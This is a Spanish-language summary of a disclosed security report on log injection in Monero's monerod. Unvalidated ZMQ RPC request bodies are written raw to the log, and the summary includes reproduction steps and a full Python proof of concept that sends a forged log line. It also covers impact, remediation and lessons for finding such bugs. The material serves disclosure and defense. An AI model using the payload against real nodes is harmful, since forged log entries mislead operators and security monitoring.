Reports
MEDIA[OTRAS INYECCIONES]#3621606

Monero: inyección en los logs de monerod a través de peticiones a la RPC ZMQ registradas sin filtrar

El demonio monerod escribía en sus logs el cuerpo crudo de cada petición recibida por la RPC ZMQ antes de validarlo, lo que permitía colar saltos de línea y fabricar entradas de log falsas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

monerod, el demonio de la CLI de Monero, expone una interfaz RPC sobre ZeroMQ (ZMQ). Al recibir una petición por esa vía, el manejador la escribía tal cual en el log antes de comprobar si era válida. La línea responsable, en src/rpc/daemon_handler.cpp, es esta:

MDEBUG("Handling RPC request: " << request);

Como el contenido no se escapa, cualquiera que pueda hablar con el endpoint ZMQ puede meter saltos de línea y caracteres de control en el log del nodo. El resultado es una inyección CRLF en los registros: el atacante puede partir una línea en varias y hacer que parte de su texto parezca una entrada legítima del demonio.

Datos del reporte:

  • Rutas de código afectadas: src/rpc/zmq_server.cpp y src/rpc/daemon_handler.cpp.
  • Origen: el commit 77986023c3 ("json serialization for rpc-relevant monero types"), que añadió el registro del cuerpo crudo de las peticiones.
  • Primera versión afectada: v0.12.0.0. Según el investigador, el fallo está en todas las versiones publicadas desde entonces (v0.12.0.0 a v0.12.4.0, v0.13.0.2 a v0.13.0.4, v0.14.0.0 a v0.14.1.2, v0.15.0.0 a v0.15.0.5, v0.16.0.0 a v0.16.0.3, v0.17.0.0 a v0.17.3.2 y v0.18.0.0 a v0.18.4.6) y en master a 22 de marzo de 2026.
  • Plataformas: todas (Linux, Windows y macOS), porque el código RPC y de logging es común.
  • Severidad asignada: media. Debilidad: inyección CRLF.
  • Enviado el 22 de marzo de 2026 y divulgado el 24 de julio de 2026, con estado "resuelto".

Pasos de reproducción

  1. Arrancar monerod con la RPC ZMQ accesible desde la máquina de pruebas y con el registro de las trazas de peticiones activado (el mensaje usa MDEBUG, de nivel de depuración).
  2. Instalar la dependencia del PoC (pip install pyzmq) y lanzarlo contra el puerto ZMQ:

``bash python poc_zmq_log_injection.py --target 127.0.0.1:18082 ``

  1. Abrir el log del demonio y buscar ATTACKER_MARKER_BEGIN, ATTACKER_MARKER_END y la línea falsa inyectada (FORGED_LOG_LINE: authentication succeeded for admin).

El PoC completo que adjuntó el investigador abre un socket REQ, se conecta a tcp://<objetivo> y envía una llamada get_info con un parámetro extra, note, que lleva los marcadores y la línea inventada. Después espera la respuesta (5 segundos como máximo por defecto) y la imprime:

#!/usr/bin/env python3
"""
PoC: ZMQ RPC request-body log injection / payload logging in monerod.
Authorized testing only.

Usage:
  python poc_zmq_log_injection.py --target 127.0.0.1:18082
"""

import argparse
import sys

try:
	import zmq
except ImportError:
	print("[!] Missing dependency: pyzmq")
	print("    Install with: pip install pyzmq")
	sys.exit(1)


def main() -> int:
	ap = argparse.ArgumentParser()
	ap.add_argument("--target", required=True, help="host:port of ZMQ RPC, e.g. 127.0.0.1:18082")
	ap.add_argument("--timeout-ms", type=int, default=5000)
	args = ap.parse_args()

	endpoint = f"tcp://{args.target}"

	payload = (
		'{"jsonrpc":"2.0","id":1,"method":"get_info","params":{"note":"ATTACKER_MARKER_BEGIN\\n'
		'FORGED_LOG_LINE: authentication succeeded for admin\\n'
		'ATTACKER_MARKER_END"}}'
	)

	print(f"[*] Connecting to {endpoint}")
	print("[*] Sending crafted payload with newline markers")

	ctx = zmq.Context()
	sock = ctx.socket(zmq.REQ)
	sock.setsockopt(zmq.RCVTIMEO, args.timeout_ms)
	sock.setsockopt(zmq.SNDTIMEO, args.timeout_ms)

	try:
		sock.connect(endpoint)
		sock.send_string(payload)
		reply = sock.recv_string()
		print("[+] Server response received:")
		print(reply)
	except zmq.error.Again:
		print("[!] Timeout waiting for response")
		return 2
	finally:
		sock.close(0)
		ctx.term()

	print("\n[*] Next step: inspect daemon log for ATTACKER_MARKER strings and injected formatting")
	return 0


if __name__ == "__main__":
	sys.exit(main())

Un detalle técnico al leer el PoC: en Python, '\\n' produce los dos caracteres \ y n, es decir, la secuencia de escape de JSON y no un salto de línea real. Como el log escribe la petición cruda, para partir de verdad la línea en el registro hay que enviar bytes de salto de línea (o retorno de carro) reales en el mensaje ZMQ, algo posible porque el registro se hace antes de validar el JSON. El reporte original no incluye un extracto del log con el resultado.

Impacto

El investigador describe cuatro consecuencias:

  • Logs que ya no son fiables: con los delimitadores adecuados se pueden fabricar líneas adicionales que alteran lo que entiende quien lee el registro.
  • Detección degradada: si los logs alimentan un SIEM o reglas de alerta, los fragmentos controlados por el atacante pueden procesarse como eventos legítimos.
  • Investigaciones confusas: durante la respuesta a un incidente, las entradas falsas pueden despistar al reconstruir qué pasó y cuándo.
  • Mayor exposición en despliegues gestionados: el riesgo crece cuando la RPC ZMQ es accesible por red y el registro detallado está activado.

Remediación

El reporte figura como resuelto, pero no explica qué cambio se aplicó en el código. Las medidas que proponía el investigador eran:

  1. No registrar por defecto el cuerpo crudo de peticiones que llegan de fuera.
  2. Registrar en su lugar metadatos: método, ID de la petición, tamaño y resultado.
  3. Escapar o limpiar los caracteres de control antes de escribirlos en el log.
  4. Dejar el registro del cuerpo completo detrás de una opción explícita, solo para depuración.

Qué aprender de este caso

  • Busca trazas del tipo "Handling request: " << cuerpo en los manejadores RPC y en los consumidores de colas de mensajes (ZMQ, sockets propios, workers). Suelen escribirse al principio del manejador, antes de cualquier validación, y casi nunca escapan lo que registran.
  • Un parámetro que el método no usa, como note en una llamada a get_info, puede bastar para llevar el texto del atacante al log. No hace falta que la petición sea útil, solo que se registre.
  • Al probarlo, fíjate en si envías un salto de línea real o solo la secuencia \n escapada: en un log que vuelca el mensaje crudo, la diferencia decide si la línea se parte o no.
  • Al programar, registra campos concretos y ya validados (método, ID, tamaño) en vez del mensaje entero. Si necesitas el cuerpo para depurar, escapa \r, \n y los demás caracteres de control, o usa un formato estructurado (JSON por línea) que los serialice.